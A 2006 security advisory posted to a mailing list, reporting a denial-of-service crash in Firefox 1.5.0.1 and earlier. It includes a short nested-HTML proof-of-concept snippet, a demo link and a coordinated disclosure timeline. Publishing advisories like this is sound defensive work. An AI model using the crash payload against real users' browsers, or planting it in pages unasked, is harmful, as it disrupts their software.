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[BuHa-Security] DoS Vulnerability in Firefox 1.5.0.1
From: bugtraq () morph3us org
Date: 12 Apr 2006 23:30:24 -0000

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| BuHa Security-Advisory #9     |    Apr 12th, 2006 |
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| Vendor   | Mozilla Firefox                        |
| URL      | http://www.mozilla.com/firefox/        |
| Version  | <= 1.5.0.1                             |
| Risk     | Low (DoS - Null Pointer Dereference)   |
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o Description:
=============

The award-winning Web browser is better than ever. Browse the Web
with confidence - Firefox protects you from viruses, spyware and
pop-ups. Enjoy improvements to performance, ease of use and privacy.

Visit http://www.mozilla.com/firefox/ for detailed information.

o Denial of Service:
===================

Following HTML source forces Firefox <= 1.5.0.1 to crash:
<legend>
 <kbd>
   <object>
     <h4>
   </object>
 </kbd>

Online-demo:
http://morph3us.org/security/pen-testing/firefox/firefox1501-nsBlockFrame.html

The access violation results in a non-exploitable Null Pointer Dereference.

o Disclosure Timeline:
=====================

01 Oct 05 - DoS vulnerability discovered.
15 Dec 05 - Vendor contacted.
15 Dec 05 - Vendor confirmed vulnerability.
02 Feb 06 - Fixed on 1.x branches.
12 Apr 06 - Public release.

o Solution:
==========

The upcoming versions of Firefox (1.0.8 and 1.5.0.2) will address this
issue.

o Credits:
=========

Thomas Waldegger <bugtraq () morph3us org>
BuHa-Security Community - http://buha.info/board/

If you have questions, suggestions or criticism about the advisory feel
free to send me a mail. The address 'bugtraq () morph3us org' is more a
spam address than a regular mail address therefore it's possible that
some mails get ignored. Please use the contact details at
http://morph3us.org/ to contact me.

Greets fly out to cyrus-tc, destructor, nait, rhy, trappy and all
members of BuHa.

Advisory online:
http://morph3us.org/advisories/20060412-firefox-1501.txt

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